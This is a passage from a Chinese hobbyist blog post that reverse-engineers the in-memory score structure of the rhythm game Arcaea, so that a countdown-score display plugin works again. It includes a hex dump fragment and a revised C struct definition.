00 *....... 120 02 00 00 00 05 00 00 00 ........ 128 04 00 00 00 00 00 00 00 ........ 136 68 F1 56 3E 00 00 00 00 h.V>.... 144 00 00 00 00 00 00 00 00 ........ 152 02 00 00 00 00 00 00 00 ........ 160 00 C0 E8 83 02 00 00 00 ........ 168 00 00 00 00 00 00 00 00 ........ 176 12 B2 00 00 00 00 00 00 ........ 184 58 01 00 00 5B 00 00 00 X...[... 192 80 CF F2 82 02 00 00 00 ........ 200 00 00 00 00 00 00 00 00 ........ 208 CC 00 00 00 00 00 00 00 ........ 216 00 00 00 00 00 00 80 BF ........ 224 00 00 00 C0 00 00 80 3F .......?[/collapse]使用任意diff工具diff一下：结合esterTion已完成的结构变量一起分析：位置016的数值未进行变化，且和原代码中noteCount位置接近，0x2E3即为739，确实为本曲物量。剩下的数值就参照记录下的far，lost等进行猜测。猜不出的则也对ArcaeaCountdownScore来说无用。全部跳过就可以了。其中原代码中的skill_type为血条类型，0为普通血条，1为简单血条，2为困难血条，6为暴风血条。通过切换角色后可以发现152处的数值与此相符。那么修改后的ScoreState如下：typedef struct ScoreState { pointer_t a1; // 0 char a2[8]; // +8 8 int noteCount; // +16 10 int maxCombo; // +20 14 int score; // +24 18 int score_chk; // +28 1c score / 3 float hp; // +32 20 char a3[11 * 4];// 跳过 int combo; // +80 50 int shiny_pure; // +84 54 int pure; // +88 58 int far; // +92 5c int lost; // +96 60 char gap[13 * 4];// 跳过 int skill_type; // +152 98 } ScoreState;至此，插件中ARM64部分修复完毕。我没有ARM设备，未进行修改。另外顺便优化了下游戏启动时的插件弹窗，提示未找到并注入的方法。截止至补写文章时Arcaea版本为3.6.4，此插件依然可用。